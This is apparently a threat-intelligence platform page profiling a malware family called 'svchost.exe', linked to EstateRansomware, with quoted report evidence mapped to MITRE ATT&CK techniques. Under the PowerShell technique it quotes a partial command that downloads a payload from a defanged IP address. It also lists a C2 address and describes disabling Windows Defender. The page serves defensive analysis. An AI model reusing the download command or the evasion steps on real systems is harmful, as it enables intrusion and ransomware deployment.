Skip to main content
Mallory
Malware1 associated actor

svchost.exe

Tracked since May 26, 2026 · Updated 6 months ago
Trending this weekNot trendingOutside this week’s top 100
Mention activity · 30 daysNo mention activity in the last 30 days.
Vulns0Associated
Actors1Associated
ATT&CK26Techniques
IOCs0Tracked
Is this in your environment?See whether this family's indicators match your telemetry and which of your assets are exposed to the CVEs associated with it.
Check your exposure
Threat actors

Associated threat actors

1 distinct threat actor Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.

View more details →
EstateRansomware

“During the remote session, the threat actor deployed a persistent backdoor named ‘svchost.exe’ and set up a scheduled task to ensure its daily execution.”

via group ibgroup-ib.com
MITRE ATT&CK

Techniques & procedures

26 distinct techniques documented for this family, organized by ATT&CK tactic.

Execution

4 techniques
T1053.005Scheduled TaskEvidence1

The threat actor deployed a persistent backdoor named “svchost.exe” and set up a scheduled task to ensure its daily execution.

T1059.001PowerShellEvidence1

PowerShell drove the first command line we discovered: powershell.exe "if(-not (Test-Path 'C:\windows\dell\miwalk.exe')) {$b64=$(New-Object Net.WebClient).DownloadString('http://69.84.240[.]57:180/miwalk.txt');...}"

T1059.003Windows Command ShellEvidence1

Distribute.exe will register 3 of the DLL files to the registry, by using regsvr32.

T1569.002Service ExecutionEvidence1

Afterwards, it uses CreateServiceA to add svchost.exe as a service named “EYService”, and it will then start the service and exit.

Persistence

2 techniques
T1053.005Scheduled TaskEvidence1

The threat actor deployed a persistent backdoor named “svchost.exe” and set up a scheduled task to ensure its daily execution.

T1543.003Windows ServiceEvidence1

Snippets showing both the listening and connecting executions of Stowaway, using a service installed on the machine... Windows event log ID 7045, showing the creation of the service which executes ‘vga.exe’... service named ‘RoHesJayPv’... remotely creating a service named ‘HkBnPoqLAj’.

Privilege Escalation

2 techniques
T1053.005Scheduled TaskEvidence1

The threat actor deployed a persistent backdoor named “svchost.exe” and set up a scheduled task to ensure its daily execution.

T1543.003Windows ServiceEvidence1

Snippets showing both the listening and connecting executions of Stowaway, using a service installed on the machine... Windows event log ID 7045, showing the creation of the service which executes ‘vga.exe’... service named ‘RoHesJayPv’... remotely creating a service named ‘HkBnPoqLAj’.

Stealth

2 techniques
T1027Obfuscated Files or InformationEvidence1

These threats demonstrate several techniques of the MITRE ATT&CK framework, most notably T1027 (Obfuscated Files or Information).

T1036MasqueradingEvidence2

These threats demonstrate several techniques of the MITRE ATT&CK framework, most notably T1036 (Masquerading).

Defense Impairment

1 technique
T1685Disable or Modify ToolsEvidence1

Throughout the course of the activities within this phase, the threat actor utilized various defense evasion techniques: Several attempts to disable security monitoring tools... exclude the folder ‘C:\Windows\debug’ from Windows Defender monitoring... ‘defoff.bat’ batch script; this script disables different Windows Defender components.

Credential Access

1 technique
T1040Network SniffingEvidence1

Upon execution of the service, it begins with setting up the packet sniffing... uses BPF to make sure only UDP packets are forwarded to the handler.

Discovery

6 techniques
T1040Network SniffingEvidence1

Upon execution of the service, it begins with setting up the packet sniffing... uses BPF to make sure only UDP packets are forwarded to the handler.

T1082System Information DiscoveryEvidence2

Sends Computer information: 100;Computer Name; OS Name back to the server in port 4000.

T1083File and Directory DiscoveryEvidence1

List all the files and folders in the system and saves it to Files.txt... List all drives in the PC (C:\, D:\, …) and save it to Drives.txt.

T1120Peripheral Device DiscoveryEvidence1

List all the devices on the machine and save it to a file named ‘Devices.txt’ which is then sent to the server.

T1135Network Share DiscoveryEvidence1

Knowing this, the threat actor hosted three files necessary for mass deployment on a shared folder named “lol”

T1518.001Security Software DiscoveryEvidence1

List program by enumerating the keys found in the following registry path: Software\Microsoft\Windows\CurrentVersion\Uninstall.

Lateral Movement

2 techniques
T1021.002SMB/Windows Admin SharesEvidence1

Another malicious file, avg.msi, was transferred to the netlogon share \\{domaincontroller}\NETLOGON\avg.msi .

T1570Lateral Tool TransferEvidence1

The spreader attempts to establish and authenticate an SMB session using stolen credentials or the guest account without a password and copy the main bot module as xsvc.exe or zsvc.exe to the target system.

Collection

3 techniques
T1005Data from Local SystemEvidence1

201 Sends file content to the server.

T1123Audio CaptureEvidence1

Responsible for recording audio using the victim’s Microphone. The recording is saved to music.mp3 and sent to the server.

T1560Archive Collected DataEvidence1

APT10 used this software to compress files before exfiltration from victim networks.

Command and Control

4 techniques
T1071Application Layer ProtocolEvidence2

Whenever a UDP packet arrives... in case it is 1234 the UDP data will be forwarded to the command dispatcher.

T1071.001Web ProtocolsEvidence1

This backdoor establishes a reverse tunnel using the HTTP protocol to connect back to the C2 server.

T1105Ingress Tool TransferEvidence2

A malicious file, kill_svc.exe ... and mhyprot2.sys ... were transferred to the desktop.

T1571Non-Standard PortEvidence1

77.238.245[.]11:30001 functions as a command and control (C2) address.

Exfiltration

1 technique
T1048.003Exfiltration Over Unencrypted Non-C2 ProtocolEvidence1

Send a file: The content will be sent as UDP data... The UDP destination port will be the little-endian value of the IP identification field in the request message.

Impact

2 techniques
T1486Data Encrypted for ImpactEvidence1

executing logon.bat worked and the ransomware svchost.exe began dropping ransom notes and encrypting files.

T1496Resource HijackingEvidence1

Along with the stealer and BTC Clipboard Hijacking, it also does coin mining.

Mallory platform

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matchingMatch every observed IP, domain, and hash against your live telemetry.
Associated threat actors1Groups linked to this family, with evidence pinned to each claim.
Associated vulnerabilitiesCVEs linked to this family, with the reporting behind each link.
Detection signaturesYARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
MITRE ATT&CK mapping26Every documented technique, ranked by evidence weight.
Researcher chatterReddit, Mastodon, and CTI community discussion around this family.